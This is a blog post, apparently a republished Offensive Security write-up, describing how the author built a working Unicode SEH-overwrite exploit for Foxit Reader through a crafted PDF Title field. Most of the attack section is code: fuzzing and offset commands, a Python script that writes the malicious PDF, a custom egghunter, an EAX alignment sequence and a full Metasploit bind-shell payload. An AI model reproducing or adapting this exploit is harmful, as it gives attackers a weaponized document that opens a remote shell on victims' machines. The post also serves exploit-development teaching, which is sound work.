Thursday 25 July 2013

Foxit
Some time ago, when Adobe Reader 0days were dropping left, right, and centre, Foxit Reader was frequently mentioned as a safer alternative to using Adobe. While it may be true that there are not as many exploits available for Foxit, that does not mean that it is invincible.

With this in mind, I decided to do some fuzzing using the Microsoft SDL MiniFuzz program. I fed the fuzzer a larger number of seed files, many of them Blackhat whitepapers, and let it run. Within a mere couple of hours, I was greeted with a few crashes, one of them resulting in a SEH overwrite.

Next up, I needed to determine what was causing the crash so I opened up the pdf in my trusty text editor.

At this point, I knew a couple of things. First, since the SEH was overwritten with 00E700E7, I knew I was dealing with a Unicode exploit and secondly, it was caused due to a failure in Foxit to properly sanitize the Title tag input. My next task at this point was to determine where exactly the overwrite was occurring in the string so I generated a random pattern of 10000 bytes using Metasploit and pasted it into the pdf file.

# ./pattern_create.rb 10000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac...

Opening up the pdf in Foxit, I saw that the SEH was overwritten with my unique pattern.

Passing the character string ‘r9As’ to the pattern_offset.rb script, I was able to determine the location of the SEH overwrite.

# ./pattern_offset.rb r9As 10000
538

At this point, I stripped out as much unnecessary data out of the pdf as I could and whipped up a quick and dirty python script to make the editing process much easier, including the nSEH and SEH overwrite.

#!/usr/bin/python
preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25\xE2\xE3\xCF\xD3\x0A\x38\x31\x20...
...\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61"

lead = "\x41" * 538
nseh = "\x42\x42"
seh = "\x43\x43"
trailer = "\x44" * 9384
trailer += "\xE7\xE7"
trailer += "dookie was here: breaking your pdf reader application"
trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A"

sploit = preamble + lead + nseh + seh + trailer
filename = "foxit_title.pdf"
evil = open(filename, 'w')
evil.write(sploit)
evil.close

Generating the evil pdf and opening it up in Foxit gave me a wonderful crash with complete control over the SEH chain.

With control over SEH out of the way, the next thing to do was to find a Unicode-friendly pop-pop-retn sequence of instructions. The main Foxit binary was not SafeSEH protected so that was where I decided to look first. A good candidate was found at 0x004D002F so I plugged that into my script. I also needed to find some Unicode characters to place in nSEH that when executed, would walk over the SEH address without causing any damage and edited my script accordingly.

...
lead = "\x41" * 538
nseh = "\x41\x6d" # Walk over SEH
seh = "\x2F\x4D"  # p/p/r from app binary
...

Loading up the new pdf in Foxit, I set a breakpoint on the SEH and passed the exception twice in order to reach my p/p/r address.

I then single-stepped through the p/p/r instructions into nSEH and then “walked” right across the SEH overwrite.

Up until this point, everything was indicating that this was going to be a nice, “vanilla” Unicode exploit. All I would need to do is add some Unicode-compatible shellcode farther down in the stack, add some bytes to EAX and be on my way. Then, I discovered the bad character set:

\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x7f\x9f\xad

Since the character \x05 is bad, that meant I would not be able to do an ADD EAX as planned. I also wasn’t too happy with the amount of space available for shellcode since Unicode shellcode takes up a lot of room. I decided to do a quick search of memory to see if my buffer was unmolested elsewhere.

Pleasantly enough, I had well over 9000 bytes of space available for shellcode and even though it was still Alpha, that left tons of room available. This situation, of course, just begs for an egghunter. Armed with all of this information, I came up with my strategy:

Generate alphanumeric bindshell shellcodePlace the egg and shellcode deeper into my bufferGenerate Unicode egghunter shellcodeAlign EAX to point to the beginning of the egghunter shellcode

The first and second steps were the easiest. I simply used Metasploit to generate some alpha_upper shellcode using EAX as the base register which I add into the exploit along with “w00tw00t” as my egg.

# /msf3/msfpayload windows/shell_bind_tcp R | /msf3/msfencode BufferRegister=EAX -e x86/alpha_upper -t c
[*] x86/alpha_upper succeeded with size 745 (iteration=1)
unsigned char buf[] =
"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
...

Next up on my list of tasks is to generate Unicode-compatible egghunter shellcode but there was one issue I had to contend with. When the egghunter successfully locates the egg, it jumps to the EDI register that is pointing to the shellcode. Since the final shellcode is Alpha, I also needed EAX to point to it in order to decode it properly so I needed to edit the egghunter to include a MOV EAX, EDI instruction prior to the jump to EDI. My new egghunter looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
OR DX,0FFF
INC EDX
PUSH EDX
PUSH 2
POP EAX
INT 2E
CMP AL,5
POP EDX
JE SHORT
MOV EAX,74303077
MOV EDI,EDX
SCAS DWORD PTR ES:[EDI]
JNZ SHORT
SCAS DWORD PTR ES:[EDI]
JNZ SHORT
MOV EAX,EDI
JMP EDI

Now I needed to take this new egghunter and encode in Unicode format. Once the shellcode had been assembled, I just needed to use skylined’s ALPHA3 encoder, using the egghunter as the input.

I added this newly-encoded shellcode to my exploit in progress and did some massaging of lengths so the code at this point looked like the following:

#!/usr/bin/python

preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25...
...x30\x37\x27\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61"

# 202 byte unicode egghunter - EAX base register
egghunter = ("PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAI"
"AJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB1V3Q7ZKOLO"
"0B0R1ZKR0X8MNNOLKU0Z2TJO6X2W00002T4KJZ6O2U9Z6O2U9W4K7WKO9WKPA")

# Bindshell - Does not need to be Unicode friendly as it is untouched in memory - 745 bytes
bindshell = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
"\x4c\x4b\x58\x4b\x39\x45\x50\x45\x50\x45\x50\x43\x50\x4c\x49"
"\x4a\x45\x46\x51\x4e\x32\x45\x34\x4c\x4b\x51\x42\x46\x50\x4c"
"\x4b\x46\x32\x44\x4c\x4c\x4b\x50\x52\x42\x34\x4c\x4b\x42\x52"
"\x47\x58\x44\x4f\x4e\x57\x50\x4a\x46\x46\x46\x51\x4b\x4f\x50"
"\x31\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x44\x42\x46\x4c"
"\x51\x30\x49\x51\x48\x4f\x44\x4d\x45\x51\x49\x57\x4b\x52\x4a"
"\x50\x50\x52\x50\x57\x4c\x4b\x50\x52\x44\x50\x4c\x4b\x50\x42"
"\x47\x4c\x45\x51\x4e\x30\x4c\x4b\x51\x50\x42\x58\x4b\x35\x49"
"\x50\x43\x44\x50\x4a\x43\x31\x4e\x30\x46\x30\x4c\x4b\x47\x38"
"\x45\x48\x4c\x4b\x51\x48\x47\x50\x45\x51\x4e\x33\x4d\x33\x47"
"\x4c\x50\x49\x4c\x4b\x47\x44\x4c\x4b\x43\x31\x4e\x36\x50\x31"
"\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x43"
"\x31\x49\x57\x50\x38\x4b\x50\x44\x35\x4c\x34\x44\x43\x43\x4d"
"\x4c\x38\x47\x4b\x43\x4d\x51\x34\x42\x55\x4a\x42\x51\x48\x4c"
"\x4b\x46\x38\x47\x54\x45\x51\x48\x53\x45\x36\x4c\x4b\x44\x4c"
"\x50\x4b\x4c\x4b\x51\x48\x45\x4c\x43\x31\x49\x43\x4c\x4b\x43"
"\x34\x4c\x4b\x43\x31\x4e\x30\x4c\x49\x47\x34\x51\x34\x47\x54"
"\x51\x4b\x51\x4b\x43\x51\x50\x59\x51\x4a\x46\x31\x4b\x4f\x4b"
"\x50\x51\x48\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x4a\x4b\x4d\x56"
"\x51\x4d\x43\x58\x47\x43\x47\x42\x43\x30\x43\x30\x42\x48\x44"
"\x37\x44\x33\x50\x32\x51\x4f\x51\x44\x45\x38\x50\x4c\x43\x47"
"\x47\x56\x44\x47\x4b\x4f\x48\x55\x48\x38\x4c\x50\x43\x31\x45"
"\x50\x43\x30\x51\x39\x48\x44\x50\x54\x50\x50\x42\x48\x46\x49"
"\x4d\x50\x42\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50\x50\x50\x46"
"\x30\x46\x30\x51\x50\x50\x50\x47\x30\x50\x50\x43\x58\x4a\x4a"
"\x44\x4f\x49\x4f\x4b\x50\x4b\x4f\x49\x45\x4c\x49\x49\x57\x46"
"\x51\x49\x4b\x46\x33\x43\x58\x45\x52\x43\x30\x44\x51\x51\x4c"
"\x4c\x49\x4a\x46\x42\x4a\x44\x50\x50\x56\x46\x37\x45\x38\x4f"
"\x32\x49\x4b\x47\x47\x45\x37\x4b\x4f\x4e\x35\x51\x43\x46\x37"
"\x45\x38\x4f\x47\x4b\x59\x46\x58\x4b\x4f\x4b\x4f\x4e\x35\x50"
"\x53\x51\x43\x51\x47\x45\x38\x44\x34\x4a\x4c\x47\x4b\x4b\x51"
"\x4b\x4f\x48\x55\x51\x47\x4b\x39\x48\x47\x42\x48\x43\x45\x42"
"\x4e\x50\x4d\x43\x51\x4b\x4f\x49\x45\x42\x48\x43\x53\x42\x4d"
"\x42\x44\x45\x50\x4c\x49\x4d\x33\x50\x57\x50\x57\x46\x37\x50"
"\x31\x4a\x56\x42\x4a\x42\x32\x51\x49\x46\x36\x4a\x42\x4b\x4d"
"\x42\x46\x49\x57\x47\x34\x51\x34\x47\x4c\x45\x51\x43\x31\x4c"
"\x4d\x50\x44\x51\x34\x42\x30\x4f\x36\x43\x30\x47\x34\x50\x54"
"\x46\x30\x46\x36\x51\x46\x51\x46\x50\x46\x46\x36\x50\x4e\x51"
"\x46\x50\x56\x50\x53\x50\x56\x43\x58\x44\x39\x48\x4c\x47\x4f"
"\x4d\x56\x4b\x4f\x4e\x35\x4b\x39\x4b\x50\x50\x4e\x50\x56\x51"
"\x56\x4b\x4f\x46\x50\x45\x38\x45\x58\x4c\x47\x45\x4d\x45\x30"
"\x4b\x4f\x4e\x35\x4f\x4b\x4a\x50\x4e\x55\x4e\x42\x46\x36\x42"
"\x48\x49\x36\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x47\x4c"
"\x43\x36\x43\x4c\x45\x5a\x4d\x50\x4b\x4b\x4b\x50\x43\x45\x43"
"\x35\x4f\x4b\x47\x37\x44\x53\x42\x52\x42\x4f\x42\x4a\x45\x50"
"\x51\x43\x4b\x4f\x4e\x35\x44\x4a\x41\x41")

lead = "\x41" * 538
nseh = "\x41\x6d" # Walk over SEH
seh = "\x2F\x4D"  # p/p/r from app binary
filler = "\x41" * 130
egg = "w00tw00t"
trailer = "\x44" * 8507
trailer += "\xE7\xE7"
trailer += "dookie was here: breaking your pdf reader application"
trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A"

sploit = preamble + lead + nseh + seh + filler + egghunter + filler + egg + bindshell + trailer
filename = "foxit_title.pdf"
evil = open(filename, 'w')
evil.write(sploit)
evil.close

Just to be sure I hadn’t broken anything beyond repair to this point, I loaded up the pdf in Foxit and checked the debugger to make sure the Unicode egghunter was in place along with the Alpha-encoded bindshell.

The final piece of this puzzle was to adjust the EAX register so it pointed to the beginning of the Unicode-encoded egghunter shellcode while being mindful of the fact that there are a great deal of bad characters to contend with. With my sloppy binary math, this would take many instructions but one of our Offsec alumni, devilboy, came up with this short little sequence in his Foxit exploit to point EAX closer to where I needed to be.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
58          # POP EAX
6D          # Align
58          # POP EAX
6D          # Align
58          # POP EAX
6D          # Align
35 00FF0020 # XOR EAX,2000FF00
6D          # Align
35 00F00020 # XOR EAX,2000F000
6D          # Align
50          # PUSH EAX
6D          # Align
C3          # RETN
6D          # Align

Using this alignment sequence, I needed to add 104 bytes of ‘filler’ between the alignment code and the egghunter so that EAX was pointing at the first instruction in order to start decoding it.

With everything aligned properly, the only remaining step was to make sure that the egghunter properly located my bindshell shellcode so I let the egghunter shellcode decode and placed a breakpoint just before jumping to the EDI register. I let the egghunter run and (hopefully) hit the breakpoint. Once the breakpoint was hit, EAX was pointing at the Alpha shellcode along with EDI so the egg was found successfully.

With everything seemingly working correctly, it was time to run the exploit without the debugger and reap my reward.

w00t!

The finalized exploit has the following structure:

preamble | lead | nseh | seh | aligneax | filler | egghunter | filler | egg | bindshell | trailer

My completed Foxit Reader Egghunter Exploit is just one of several methods to gain code execution with this vulnerability and it was very interesting to see what the Offsec alumni came up with in their solutions. Congrats to Sud0 for being the first contestant to deliver a weaponized Foxit exploit in less than 5 hours!

Much thanks to muts for insisting I keep plugging away at this and thanks to devilboy for letting me borrow his EAX alignment sequence.

-dookie

Questions? Comments? Discuss this post in our Forum


View the original article here

0 comments:

Post a Comment

CEX.io